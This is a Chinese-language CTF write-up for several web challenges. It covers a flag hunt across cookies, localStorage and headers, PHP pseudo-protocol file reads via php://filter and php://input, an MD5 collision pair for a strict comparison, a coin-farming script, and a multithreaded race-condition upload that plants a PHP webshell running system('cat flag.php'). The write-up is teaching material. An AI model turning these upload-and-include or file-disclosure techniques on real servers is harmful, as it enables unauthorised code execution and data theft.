web签到题
这题主要考的是对一个网页出现的数据进行收集吧,很简单的一个题目,不过如果你要是没注意一个小小的细节,那么就可能功亏一篑了~
首先观察到最显眼的地方:*****{****_****_****_****_****}
,然后我们查看源代码,发现有一个提示请尝试以get的方式提交你所获得的flag
最开头是5个*号,猜测应该是wpsec,我们提交一下看看
然后我们再查看一下源码,发现有一个console.log似乎输出了什么东西,我们调到console窗口查看一下是发现CtF
的字符串,我们继续提交看看
到这里应该想到,我们如果想要同时提交CtF和wpsec字符串的话,那么应该使用数组的方法去提交,注意不要被html中的flag0~flag5所误导。
我们继续查找,发现LocalStorage 和 cookie中存在flag,分别为To、We1c0me,我们提交所有找到的字符串
发现还是少了一个,然后继续查找,发现存在一处奇怪的地方,web字符串不应该在这里的,所以我们最后加上web试试,得到完整的flag~
web在数据库突兀了,而且还加了奇怪标签
附上题目源码:
<script>
var flag=['*****','****','****','****','****','****'];
</script>
<?php
if(!isset($_COOKIE['flag'])){
@setcookie('flag','We1c0me',time()+1000);
echo "<script>localStorage.setItem('flag', 'To');window.location.href='./index.php';</script>";
#header('Location:index.php');
die();
}
header('Flag:Wpsec');
if(isset($_GET['flag'])){
$flag=serialize($_GET['flag']);
if(preg_match('/wpsec/', $flag)){
echo '<script>flag[0]="wpsec";</script>';
}
if(preg_match('/We1c0me/', $flag)){
echo '<script>flag[1]="We1c0me";</script>';
}
if(preg_match('/To/', $flag)){
echo '<script>flag[2]="To";</script>';
}
if(preg_match('/Wpsec/', $flag)){
echo '<script>flag[3]="Wpsec";</script>';
}
if(preg_match('/CtF/', $flag)){
echo '<script>flag[4]="CtF";</script>';
}
if(preg_match('/web/', $flag)){
echo '<script>flag[5]="web";</script>';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>你为什么这么熟练啊(╯‵□′)╯︵┻━┻</title>
</head>
<style type="text/css">
</style>
<body style="text-align: center">
<div style="font-size:30px"><font id="flag0"></font>{<font id="flag1"></font>_<font id="flag2"></font>_<font id="flag3"></font>_<font id="flag4"></font>_<font id="flag5"></font>}</div>
<p>黑站跑单的你们伤不起啊!好歹你们都有份正常工作啊。**啊!!我们连小学都没毕业啊!</p>
<p>自己找脚本漏洞要掌握多少东西你知道嘛?????</p>
<p>光脚本就至少要精通asp啊! jsp啊! .net啊! php啊!java啊!**啊!!</p>
<p>什么包含,注射,执行,安全模式啊 **啊!!</p>
<p>mssql mysql oracle db2 sybase <me>web<me>啊!!**啊!!</p>
<p>一条select都有好多种写法啊!!!order by比**还乱啊!!</p>
<p>没日没夜的日站啊!!起的比鸡早,睡的比小姐还晚啊!!吃的比猪还差啊!!有木有!!</p>
<p>好不容易找个射点还数据库分离啊!!!有木有!!!</p>
<p>射到密码还多MD5+salt啊!!!!还找不到后台啊!!他**!!</p>
<p>上传发现找不到路径啊!!!好不容易找到了还不给执行啊!!!有木有!!</p>
<p>拿到shell还提不上权啊!!!操***啊!!马还被杀啊!!!有木有!!!!</p>
<p>自己做免杀还要学会多少东西你知道嘛???????</p>
<p>拿OD脱壳改特征码JJBB的!!!有木有!!!!!</p>
<p>搞完还过不了云啊前功尽充!!!有木有!!!!!!!</p>
<p>操蛋的日完了C段嗅不到的杯具!!!!!</p>
<p>日进去里面发现是马场!!!!!!有木有!!!!</p>
<p>终于杀进系统发现被BT的防火墙封死了!有木有!</p>
<p>死活出不来进不去啊!!比*****还难日啊啊啊啊!</p>
<p>日下来结果跑单了啊!!有木有!</p>
<p>搞不好还被跨省啊!!惨死在牢老大的棒下的有木有!</p>
<p>在里面还被人整去个电脑!暴菊花啊!有没有!</p>
<p>被保释出来还要进国家队干苦力的啊有没有! 转型了,留下来被人骂上CCTV装B的!!!有木有!!</p>
<p>所以千万别日站啊!!!日站要被站长日啊!!!</p>
<img src="https://img.haomeiwen.com/i4525478/23e35500260ab837.png"/>
<script type="text/javascript">
console.log(" \n ,----.. ___ ,---,. \n / / \\ ,--.'|_ ,' .' | \n| : : | | :,' ,---.' | \n. | ;. / : : ' : | | .' \n. ; /--` .;__,' / : : : \n; | ; | | | : | |-, \n| : | :__,'| : | : ;/| \n. | '___ ' : |__ | | .' \n' ; : .'| | | '.'| ' : ' \n' | '/ : ; : ; | | | \n| : / | , / | : \\ \n \\ \\ .' ---`-' | | ,' \n `---` `----' \n");
console.log("请尝试以get的方式提交你所获得的flag");
document.getElementById("flag0").innerHTML=flag[0];
document.getElementById("flag1").innerHTML=flag[1];
document.getElementById("flag2").innerHTML=flag[2];
document.getElementById("flag3").innerHTML=flag[3];
document.getElementById("flag4").innerHTML=flag[4];
document.getElementById("flag5").innerHTML=flag[5];
</script>
</body>
</html>
poc:
http://118.25.49.126:8000/index.php?flag[]=wpsec&flag[]=We1c0me&flag[]=To&flag[]=Wpsec&flag[]=CtF&flag[]=web
你这是玩真的么
本题在2016xctf的一道反序列化基础上改变而成,如果对于反序列化以及php伪协议不太了解的话,建议先看一下下面几篇文章:
index.phpBugku——welcome to bugkuctf(一道练习php://filter和php://input的好题)
php 伪协议
理解php反序列化漏洞
我们查看网站源码,发现有注释,再看红框部分有两个强相等比较,右边的很容易,考的是php伪协议的php://input,能确定$e的值是
php://input
,之后再post一个字符串I'm Administrator!
即可
但是左边的a不允许php伪协议,那么只有去读服务器中文件,而且a也不允许越界,只限这个文件夹内,那么说明文件夹中肯定有容易发现的文件
猜文件/扫描器,发现了两个文件,一个flag.php,一个robots.txt
flag.php
robots.txt
将flag.php文件中的flag提交之后发现不正确,那么线索只能是在robots.txt中。
发现robots.txt文件告诉我们有class.php这个文件,这样的话很显然,已经明确了a和b的值分别是 robots.txt
、Disallow:./class.php
之后我们再用练了很多遍的老套路,用c依次获得index.php和class.php 源码(php://filter/read=convert.base64-encode=XXX),最后固定下来c的值为class.php
index.php文件内容确实和注释一摸一样,class.php的内容如下
class.php
观察红色框部分,发现是md5强相等,那么找到$data的另一对md5相同的数据即可。在我之前的文章有提到过这组数据。
#强网杯某大牛wp
$Param1="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$Param2="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
#008ee33a9d58b51cfeb425b0959121c9
最后$d的值构建方法如下,由于大部分过滤器都被禁止了,所以构造的过滤器是string.rot13:
然后把数据整合好,提交上去,成功获取flag
PS:
本题中变量 $c 没有严格过滤,导致include($C)能获取web平台所有源代码,现已修复。
PS:
本题$d不需要php伪协议,直接flag.php即可
抢金币
目的是为了考验脚本编写能力,那么直接上代码就好了
#python2.7
#coding:utf-8
from re import *
from requests import *
url='http://118.25.49.126:8002/index.php'
a=post(url+'?log',data={'username':'test','password':'test'})
_cookie=a.cookies
while 1:
b=get(url,cookies=_cookie)
money=findall(compile("<li>.+?\:([-]?\d+)"),b.text)[0]
print "当前金币->",money
if int(money)>=1000:
print "yes"
break
res=findall(compile("pink-text.+?robid\=(\d+)"),b.text)
#print "->",res[0]
b=get(url+'?robid='+res[0],cookies=_cookie)
b=get(url+'?getflag',cookies=_cookie)
flag=findall(compile("(WPSEC{.+?})"),b.text)[0]
print flag
一次不行就两次
观察index.php源码,发现存在show.php?file=1
直接访问http://118.25.49.126:8003/show.php?file=1
发现得到一个图片的原始数据,而且发现图片结尾存在一句注释< !--do you find me use include?-->
。
由index.php可知,存在upload.php,show.php,测试upload.php发现存在.swp文件,下载该文件,可以还原出upload.php源码
发现上传的图片在转移到uploads文件夹之后瞬间被删除,所以可以写脚本或者bp多线程去上传文件,之后再循环访问show.php?file=文件名。得到flag
import requests
import time
import threading
import queue
threadNum=500
q=queue.Queue()
for i in range(500):
q.put(i)
url='http://118.25.49.126:8003/upload.php'
files={'file':('2.jpg','<?php @system("cat flag.php");?>',"image/jpeg")}
def postFile():
while not q.empty():
q.get()
r=requests.post(url,files=files)
print(r.status_code,end=' ')
print(r.text)
for i in range(threadNum):
t=threading.Thread(target=postFile)
t.start()
for i in range(threadNum):
t.join()
print("exiting")
网友评论